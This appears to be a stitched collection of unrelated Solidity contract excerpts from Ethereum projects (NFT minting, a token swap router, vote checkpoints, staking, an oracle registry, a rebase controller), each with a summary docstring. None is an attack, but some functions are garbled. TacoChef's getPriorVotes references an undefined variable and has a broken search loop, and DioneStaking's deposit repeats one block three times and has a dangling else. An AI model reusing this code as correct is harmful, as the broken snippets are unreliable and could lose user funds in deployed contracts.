if(pepeId >= REBORN_PEPE_0) { uint256 index = rebornPepeIdToIndex(pepeId); require(index < rebornPepes.length); return rebornPepes[index]; }else{ (address master, uint256[2] memory genotype, uint64 canCozyAgain, uint64 generation, uint256 father, uint256 mother, , uint8 coolDownIndex) = _getUndeadPepe(pepeId); return Pepe({ master: master, // The master of the pepe genotype: genotype, // all genes stored here canCozyAgain: canCozyAgain, // time when pepe can have nice time again father: uint64(father), // father of this pepe mother: uint64(mother), // mommy of this pepe generation: generation, // what generation? coolDownIndex: coolDownIndex }); } } /** * @dev get undead pepe information * @param pepeId ID of the Pepe to get information of * @return master * @return genotype * @return canCozyAgain * @return generation * @return father * @return mother * @return pepeName * @return coolDownIndex */ function _getUndeadPepe(uint256 pepeId) internal view returns (address master, uint256[2] genotype, uint64 canCozyAgain, uint64 generation, uint256 father, uint256 mother, bytes32 pepeName, uint8 coolDownIndex) { // if undead, pull from old contract (master, genotype, canCozyAgain, generation, father, mother, pepeName, coolDownIndex) = PepeBase(PEPE_UNDEAD_ADDRRESS).getPepe(pepeId); if(undeadPepes[pepeId].resurrected){ // if resurrected, pull from undead map master = undeadPepes[pepeId].master; canCozyAgain = undeadPepes[pepeId].canCozyAgain; pepeName = pepeNames[pepeId]; coolDownIndex = undeadPepes[pepeId].coolDownIndex; }else if(master == PEPE_AUCTION_SALE_UNDEAD_ADDRESS || master == COZY_TIME_AUCTION_UNDEAD_ADDRESS){ // if on auction, return to seller (master, , , , , ) = AuctionBase(master).auctions(pepeId); } } // Useful for tracking resurrections event PepeResurrected(uint256 pepeId); /** * @dev Checks if the pepe needs to be resurrected from the old contract and if so does. * @param pepeId ID of the Pepe to check */ // solhint-disable-next-line max-line-length function checkResurrected(uint256 pepeId) public { if(pepeId >= REBORN_PEPE_0) return; if(undeadPepes[pepeId].resurrected) return; (address _master, , uint64 _canCozyAgain, , , , bytes32 _pepeName, uint8 _coolDownIndex) = _getUndeadPepe(pepeId); undeadPepes[pepeId] = UndeadPepeMutable({ master: _master, // The master of the pepe canCozyAgain: _canCozyAgain, // time when pepe can have nice time again coolDownIndex: _coolDownIndex, resurrected: true }); if(_pepeName != 0x0000000000000000000000000000000000000000000000000000000000000000) pepeNames[pepeId] = _pepeName; addToWallet(_master, pepeId); emit PepeResurrected(pepeId); } /** * @dev Calculates reborn pepe array index * @param pepeId ID of the pepe to check * @return array index */ function rebornPepeIdToIndex(uint256 pepeId) internal pure returns (uint256) { require(pepeId >= REBORN_PEPE_0); return pepeId - REBORN_PEPE_0; } /** * @dev Changes the address of the previous contracts * This is only a precaution in case I mess up deployment * @param baseaddr the correct PepeBase address * @param saleauctionaddr the correct PepeSaleAuction address * @param cozyauctionaddr the correct CozyTimeAuction address */ function setPrevContracts(address baseaddr, address saleauctionaddr, address cozyauctionaddr) public onlyOwner { PEPE_UNDEAD_ADDRRESS = baseaddr; PEPE_AUCTION_SALE_UNDEAD_ADDRESS = saleauctionaddr; COZY_TIME_AUCTION_UNDEAD_ADDRESS = cozyauctionaddr; } /** * @dev Changes the gene pool contract address * @param genePoolAddress the new pool address */ function setGenePool(address genePoolAddress) public onlyOwner { GenePoolInterface pool = GenePoolInterface(genePoolAddress); require(pool.isGenePool()); genePool = pool; } } contract GenesisActTwo { PepeReborn public cpepToken; address public owner; uint256 public price = 100000000000000000; // 0.1 eth uint256 public mined; modifier onlyOwner() { require(owner == msg.sender, "not owner"); _; } constructor(address _cpepToken, address _owner) { cpepToken = PepeReborn(_cpepToken); owner = _owner; } function birth(uint256 amount) external payable { require(msg.value >= amount * price, "insufficient payment"); uint256 startSupply = cpepToken.totalSupply(); cpepToken.pepePremine(amount); for(uint256 pepeId = startSupply+1; pepeId <= startSupply + amount; ++pepeId) { cpepToken.transfer(msg.sender, pepeId); } mined += amount; } function setPrice(uint256 _price) external onlyOwner { price = _price; } function sweep(address recipient, uint256 amount) external onlyOwner { recipient.transfer(amount); } function transferOwnership(address newOwner) external onlyOwner { cpepToken.transferOwnership(newOwner); } }
Converts a `uint256` to its ASCII `string` representation. value a number to convert to string return a string representation of the number/ Borrowed from Open Zeppelin, which was Inspired by OraclizeAPI's implementation - MIT licence https:github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); }
10,871,821
./full_match/1/0x7F7710e0c7C5C0FF043963dd22C3988e8bDb7AcC/sources/browser/TacoChef.sol
Determine the prior number of votes for an account as of a block number Block number must be a finalized block or else this function will revert to prevent misinformation. account The address of the account to check blockNumber The block number to get the vote balance at return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "TACO::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; }
4,867,665
./full_match/5/0xc3793ecC3A0aa3B5a0f7b23A375b0c92df72DA25/sources/src/SolarPunk.sol
workaround to pack request information into an `uint256` owner address of the request owner lastRequestId request counter blockNumber future block return request as packed `uint256`/
function createRequest( address owner, uint256 lastRequestId, uint256 blockNumber ) internal pure returns (uint256) { return uint256( bytes32( abi.encodePacked( uint160(owner), uint32(lastRequestId), uint64(blockNumber) ) ) ); }
1,911,840
pragma solidity =0.6.12; interface ITitanAutoSwap { function swapForPair(address token0,address token1,uint amount0,uint deadline) external payable; } interface ITitanSwapV1Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function feeOnPair(address tokenA, address tokenB) external view returns (bool); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface ITitanSwapV1Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface ITitanSwapV1Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TitanAutoSwap is ITitanAutoSwap { using SafeMath for uint; address public immutable router; constructor(address _router) public { router = _router; } function swapForPair(address token0,address token1,uint amount0,uint deadline) external override payable { address factory = ITitanSwapV1Router01(router).factory(); address pair = TitanSwapV1Library.pairFor(factory, token0, token1); require(pair != address(0),'TitanAutoSwap pair not exist'); uint amount1 = amount0.mul(1003).div(1000); TransferHelper.safeTransferFrom(token0,msg.sender,address(this),amount1); TransferHelper.safeApprove(token0,router,amount1); address[] memory path = new address[](2); path[0] = token0; path[1] = token1; uint[] memory amounts = TitanSwapV1Library.getAmountsOut(factory, amount1, path); // swap token0 for token1 ITitanSwapV1Router01(router).swapExactTokensForTokens(amount1,amounts[1],path,msg.sender,deadline); amount1 = amounts[1]; amount1 = amount1.mul(1003).div(1000); TransferHelper.safeTransferFrom(token1,msg.sender,address(this),amount1); TransferHelper.safeApprove(token1,router,amount1); path[0] = token1; path[1] = token0; amounts = TitanSwapV1Library.getAmountsOut(factory, amount1, path); // swap token1 for token0 ITitanSwapV1Router01(router).swapExactTokensForTokens(amount1,amounts[1],path,msg.sender,deadline); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library TitanSwapV1Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'TitanSwapV1Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'TitanSwapV1Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal view returns (address pair) { pair = ITitanSwapV1Factory(factory).getPair(tokenA,tokenB); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = ITitanSwapV1Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'TitanSwapV1Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'TitanSwapV1Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'TitanSwapV1Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'TitanSwapV1Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'TitanSwapV1Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'TitanSwapV1Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'TitanSwapV1Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'TitanSwapV1Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
swap token0 for token1 swap token1 for token0
function swapForPair(address token0,address token1,uint amount0,uint deadline) external override payable { address factory = ITitanSwapV1Router01(router).factory(); address pair = TitanSwapV1Library.pairFor(factory, token0, token1); require(pair != address(0),'TitanAutoSwap pair not exist'); uint amount1 = amount0.mul(1003).div(1000); TransferHelper.safeTransferFrom(token0,msg.sender,address(this),amount1); TransferHelper.safeApprove(token0,router,amount1); address[] memory path = new address[](2); path[0] = token0; path[1] = token1; uint[] memory amounts = TitanSwapV1Library.getAmountsOut(factory, amount1, path); ITitanSwapV1Router01(router).swapExactTokensForTokens(amount1,amounts[1],path,msg.sender,deadline); amount1 = amounts[1]; amount1 = amount1.mul(1003).div(1000); TransferHelper.safeTransferFrom(token1,msg.sender,address(this),amount1); TransferHelper.safeApprove(token1,router,amount1); path[0] = token1; path[1] = token0; amounts = TitanSwapV1Library.getAmountsOut(factory, amount1, path); ITitanSwapV1Router01(router).swapExactTokensForTokens(amount1,amounts[1],path,msg.sender,deadline); }
14,969,090
./full_match/4/0x28E030520FDFf962c501A5bC40cB70F3b6CbDC1C/sources/contracts/Artifex.sol
Add core metadata for the 3D pieces in an artist series. NOTE: For Artifex, there will only be 100 artist series IDs (1-100). Each series will have a 1 of 1 2D art piece (nftType 1) and a run of 100 3D art pieces (nftType 2). Series ID 0 will be a gift series and is not included in the 1-100 artist series IDs. seriesId the ID of the series (0-100) seriesInfo structure with series metadata series3DModelInfo structure with series 3D model metadata/ Series ID must be 0-100 Once a series metadata is locked, it cannot be updated. The information will live as permanent metadata in the contract and on IFPS
function addArtistSeries3dNftType( uint256 seriesId, ArtistNFTSeriesInfo calldata seriesInfo, ArtistNFTSeries3DModelInfo calldata series3DModelInfo ) external anyOperator { require(seriesId <= 100); require(artistSeriesLocked[seriesId] == false, "Series is locked"); artist3DSeriesInfo[seriesId] = seriesInfo; artistSeries3DModelInfo[seriesId] = series3DModelInfo; }
13,297,274
./full_match/1/0x04108C0B1E615aB7765383F35E4fAb8628760646/sources/project_/contracts/DioneStaking.sol
User Staking function
function deposit(uint256 _amount) external isStaking nonReentrant { UserInfo storage user = userInfo[msg.sender]; _updatePool(); if (user.amount > 0) { uint256 pendingPenalty = user.amount.mul(accPenaltyPerShare).div(PRECISION_FACTOR).sub(user.penaltyDebt); if (pendingPenalty > 0) { user.penaltyClaimable = user.penaltyClaimable.add(pendingPenalty); } uint256 pendingReward = _getUserPendingReward(msg.sender); if (pendingReward > 0) { statistics.totalRewards = statistics.totalRewards.sub(user.rewardClaimable).add(pendingReward); user.rewardClaimable = pendingReward; user.lastRewardTime = block.timestamp; } user.stakingTimestamp = block.timestamp; statistics.totalStakers++; stakers.add(msg.sender); } uint256 _remaining = (getMaxSpendAmount()).sub(user.amount); if (user.amount > 0) { uint256 pendingPenalty = user.amount.mul(accPenaltyPerShare).div(PRECISION_FACTOR).sub(user.penaltyDebt); if (pendingPenalty > 0) { user.penaltyClaimable = user.penaltyClaimable.add(pendingPenalty); } uint256 pendingReward = _getUserPendingReward(msg.sender); if (pendingReward > 0) { statistics.totalRewards = statistics.totalRewards.sub(user.rewardClaimable).add(pendingReward); user.rewardClaimable = pendingReward; user.lastRewardTime = block.timestamp; } user.stakingTimestamp = block.timestamp; statistics.totalStakers++; stakers.add(msg.sender); } uint256 _remaining = (getMaxSpendAmount()).sub(user.amount); if (user.amount > 0) { uint256 pendingPenalty = user.amount.mul(accPenaltyPerShare).div(PRECISION_FACTOR).sub(user.penaltyDebt); if (pendingPenalty > 0) { user.penaltyClaimable = user.penaltyClaimable.add(pendingPenalty); } uint256 pendingReward = _getUserPendingReward(msg.sender); if (pendingReward > 0) { statistics.totalRewards = statistics.totalRewards.sub(user.rewardClaimable).add(pendingReward); user.rewardClaimable = pendingReward; user.lastRewardTime = block.timestamp; } user.stakingTimestamp = block.timestamp; statistics.totalStakers++; stakers.add(msg.sender); } uint256 _remaining = (getMaxSpendAmount()).sub(user.amount); } else { if(_remaining < _amount) { _amount = _remaining; } if (_amount > 0) { uint256 allowance = dione.allowance(msg.sender, address(this)); require(allowance >= _amount, "DioneStaking: INSUFFICIENT_ALLOWANCE"); uint256 before = dione.balanceOf(address(this)); dione.safeTransferFrom(address(msg.sender), address(this), _amount); uint256 _tAmount = dione.balanceOf(address(this)).sub(before); uint256 _reimbursementAmount = _amount.mul(reimbursementFee).div(10**4); user.amount = user.amount.add(_tAmount); user.reimbursementAmount = user.reimbursementAmount.add(_reimbursementAmount); statistics.totalDeposit = statistics.totalDeposit.add(_tAmount); statistics.totalReimbursement = statistics.totalReimbursement.add(_reimbursementAmount); } user.penaltyDebt = user.amount.mul(accPenaltyPerShare).div(PRECISION_FACTOR); emit Deposit(msg.sender, _amount); }
2,914,925
./partial_match/1/0x1E4c80950CBc63ed053c4F673d88018A6BCb67D6/sources/oracleRegistry.sol
you cant update this because you did not register this name
function editOracleInfo(string name, string info) payable returns (bool){ name = toLower(name); if(oracleMapping[name] != 0x0 && oracleOwners[name] != msg.sender){ throw; } string memory theDetails = info; oracleOwnersInfo[name] = theDetails; return true; }
2,872,645
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@uniswap/v2-periphery/contracts/libraries/UniswapV2OracleLibrary.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import './IYuanYangPot.sol'; contract ChefMao { using SafeMath for uint256; modifier onlyGov() { require(msg.sender == gov, 'onlyGov: caller is not gov'); _; } // an event emitted when deviationThreshold is changed event NewDeviationThreshold(uint256 oldDeviationThreshold, uint256 newDeviationThreshold); // an event emitted when deviationMovement is changed event NewDeviationMovement(uint256 oldDeviationMovement, uint256 newDeviationMovement); // Event emitted when pendingGov is changed event NewPendingGov(address oldPendingGov, address newPendingGov); // Event emitted when gov is changed event NewGov(address oldGov, address newGov); // Governance address address public gov; // Pending Governance address address public pendingGov; // Peg target uint256 public targetPrice; // POT Tokens created per block at inception. // POT's inflation will eventually be governed by targetStock2Flow. uint256 public farmHotpotBasePerBlock; // Halving period for Hotpot Base per block, in blocks. uint256 public halfLife = 88888; // targetTokenPerBlock = totalSupply / (targetStock2Flow * 2,400,000) // 2,400,000 is ~1-year's ETH block count as of Sep 2020 // See @100trillionUSD's article below on Scarcity and S2F: // https://medium.com/@100trillionUSD/modeling-bitcoins-value-with-scarcity-91fa0fc03e25 // // Ganularity of targetStock2Flow is intentionally restricted. uint256 public targetStock2Flow = 10; // ~10% p.a. target inflation; // If the current price is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the price. // (ie) abs(price - targetPrice) / targetPrice < deviationThreshold, then no supply change. uint256 public deviationThreshold = 5e16; // 5% uint256 public deviationMovement = 5e16; // 5% // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec = 24 hours; // Block timestamp of last rebase operation uint256 public lastRebaseTimestamp; // The rebase window begins this many seconds into the minRebaseTimeInterval period. // For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds. uint256 public rebaseWindowOffsetSec = 28800; // 8am/8pm UTC rebases // The length of the time window where a rebase operation is allowed to execute, in seconds. uint256 public rebaseWindowLengthSec = 3600; // 60 minutes // The number of rebase cycles since inception uint256 public epoch; // The number of halvings since inception uint256 public halvingCounter; // The number of consecutive upward threshold breaching when rebasing. uint256 public upwardCounter; // The number of consecutive downward threshold breaching when rebasing. uint256 public downwardCounter; uint256 public retargetThreshold = 2; // 2 days // rebasing is not active initially. It can be activated at T+12 hours from // deployment time // boolean showing rebase activation status bool public rebasingActive; // delays rebasing activation to facilitate liquidity uint256 public constant rebaseDelay = 12 hours; // Time of TWAP initialization uint256 public timeOfTwapInit; // pair for reserveToken <> POT address public uniswapPair; // last TWAP update time uint32 public blockTimestampLast; // last TWAP cumulative price; uint256 public priceCumulativeLast; // Whether or not this token is first in uniswap POT<>Reserve pair // address of USDT: // address of POT: bool public isToken0 = true; IYuanYangPot public masterPot; constructor( IYuanYangPot _masterPot, address _uniswapPair, address _gov, uint256 _targetPrice, bool _isToken0 ) public { masterPot = _masterPot; farmHotpotBasePerBlock = masterPot.hotpotBasePerBlock(); uniswapPair = _uniswapPair; gov = _gov; targetPrice = _targetPrice; isToken0 = _isToken0; } // sets the pendingGov function setPendingGov(address _pendingGov) external onlyGov { address oldPendingGov = pendingGov; pendingGov = _pendingGov; emit NewPendingGov(oldPendingGov, _pendingGov); } // lets msg.sender accept governance function acceptGov() external { require(msg.sender == pendingGov, 'acceptGov: !pending'); address oldGov = gov; gov = pendingGov; pendingGov = address(0); emit NewGov(oldGov, gov); } // Initializes TWAP start point, starts countdown to first rebase function initTwap() public onlyGov { require(timeOfTwapInit == 0, 'initTwap: already activated'); ( uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp ) = UniswapV2OracleLibrary.currentCumulativePrices(uniswapPair); priceCumulativeLast = isToken0 ? price0Cumulative : price1Cumulative; require(priceCumulativeLast > 0, 'initTwap: no trades'); blockTimestampLast = blockTimestamp; timeOfTwapInit = blockTimestamp; } // @notice Activates rebasing // @dev One way function, cannot be undone, callable by anyone function activateRebasing() public { require(timeOfTwapInit > 0, 'activateRebasing: twap wasnt intitiated, call init_twap()'); // cannot enable prior to end of rebaseDelay require(getNow() >= timeOfTwapInit + rebaseDelay, 'activateRebasing: !end_delay'); rebasingActive = true; } // If the latest block timestamp is within the rebase time window it, returns true. // Otherwise, returns false. function inRebaseWindow() public view returns (bool) { // rebasing is delayed until there is a liquid market require(rebasingActive, 'inRebaseWindow: rebasing not active'); uint256 nowTimestamp = getNow(); require( nowTimestamp.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec, 'inRebaseWindow: too early' ); require( nowTimestamp.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)), 'inRebaseWindow: too late' ); return true; } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetPrice) / targetPrice * and targetPrice is 1e18 */ function rebase() public { // no possibility of reentry as this function only invoke view functions or internal functions // or functions from master pot which also only invoke only invoke view functions or internal functions // EOA only // require(msg.sender == tx.origin); // ensure rebasing at correct time inRebaseWindow(); uint256 nowTimestamp = getNow(); // This comparison also ensures there is no reentrancy. require( lastRebaseTimestamp.add(minRebaseTimeIntervalSec) < nowTimestamp, 'rebase: Rebase already triggered' ); // Snap the rebase time to the start of this window. lastRebaseTimestamp = nowTimestamp.sub(nowTimestamp.mod(minRebaseTimeIntervalSec)).add( rebaseWindowOffsetSec ); // no safe math required epoch++; // Get twap from uniswapv2. (uint256 priceCumulative, uint32 blockTimestamp, uint256 twap) = getCurrentTwap(); priceCumulativeLast = priceCumulative; blockTimestampLast = blockTimestamp; bool inCircuitBreaker = false; ( uint256 newHotpotBasePerBlock, uint256 newFarmHotpotBasePerBlock, uint256 newHalvingCounter ) = getNewHotpotBasePerBlock(twap); farmHotpotBasePerBlock = newFarmHotpotBasePerBlock; halvingCounter = newHalvingCounter; uint256 newRedShare = getNewRedShare(twap); // Do a bunch of things if twap is outside of threshold. if (!withinDeviationThreshold(twap)) { uint256 absoluteDeviationMovement = targetPrice.mul(deviationMovement).div(1e18); // Calculates and sets the new target rate if twap is outside of threshold. if (twap > targetPrice) { // no safe math required upwardCounter++; if (downwardCounter > 0) { downwardCounter = 0; } // if twap continues to go up, retargetThreshold is only effective for the first upward retarget // and every following rebase would retarget upward until twap is within deviation threshold if (upwardCounter >= retargetThreshold) { targetPrice = targetPrice.add(absoluteDeviationMovement); } } else { inCircuitBreaker = true; // no safe math required downwardCounter++; if (upwardCounter > 0) { upwardCounter = 0; } // if twap continues to go down, retargetThreshold is only effective for the first downward retarget // and every following rebase would retarget downward until twap is within deviation threshold if (downwardCounter >= retargetThreshold) { targetPrice = targetPrice.sub(absoluteDeviationMovement); } } } else { upwardCounter = 0; downwardCounter = 0; } masterPot.massUpdatePools(); masterPot.setHotpotBasePerBlock(newHotpotBasePerBlock); masterPot.setRedPotShare(newRedShare); masterPot.setCircuitBreaker(inCircuitBreaker); } /** * @notice Calculates TWAP from uniswap * * @dev When liquidity is low, this can be manipulated by an end of block -> next block * attack. We delay the activation of rebases 12 hours after liquidity incentives * to reduce this attack vector. Additional there is very little supply * to be able to manipulate this during that time period of highest vuln. */ function getCurrentTwap() public virtual view returns ( uint256 priceCumulative, uint32 blockTimestamp, uint256 twap ) { ( uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestampUniswap ) = UniswapV2OracleLibrary.currentCumulativePrices(uniswapPair); priceCumulative = isToken0 ? price0Cumulative : price1Cumulative; blockTimestamp = blockTimestampUniswap; uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired // no period check as is done in isRebaseWindow // overflow is desired, casting never truncates // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112( uint224((priceCumulative - priceCumulativeLast) / timeElapsed) ); // 1e30 for trading pair with 6-decimal tokens. Be ultra-cautious when changing this. twap = FixedPoint.decode144(FixedPoint.mul(priceAverage, 1e30)); } // Computes new tokenPerBlock based on price. function getNewHotpotBasePerBlock(uint256 price) public view returns ( uint256 newHotpotBasePerBlock, uint256 newFarmHotpotBasePerBlock, uint256 newHalvingCounter ) { uint256 blockElapsed = getBlockNumber().sub(masterPot.startBlock()); newHalvingCounter = blockElapsed.div(halfLife); newFarmHotpotBasePerBlock = farmHotpotBasePerBlock; // if new halvingCounter is larger than old one, perform halving. if (newHalvingCounter > halvingCounter) { newFarmHotpotBasePerBlock = newFarmHotpotBasePerBlock.div(2); } // computes newHotpotBasePerBlock based on targetStock2Flow. newHotpotBasePerBlock = masterPot.hotpotBaseTotalSupply().div( targetStock2Flow.mul(2400000) ); // use the larger of newHotpotBasePerBlock and newFarmHotpotBasePerBlock. newHotpotBasePerBlock = newHotpotBasePerBlock > newFarmHotpotBasePerBlock ? newHotpotBasePerBlock : newFarmHotpotBasePerBlock; if (price > targetPrice) { newHotpotBasePerBlock = newHotpotBasePerBlock.mul(price).div(targetPrice); } else { newHotpotBasePerBlock = newHotpotBasePerBlock.mul(targetPrice).div(price); } } // Computes new redShare based on price. function getNewRedShare(uint256 price) public view 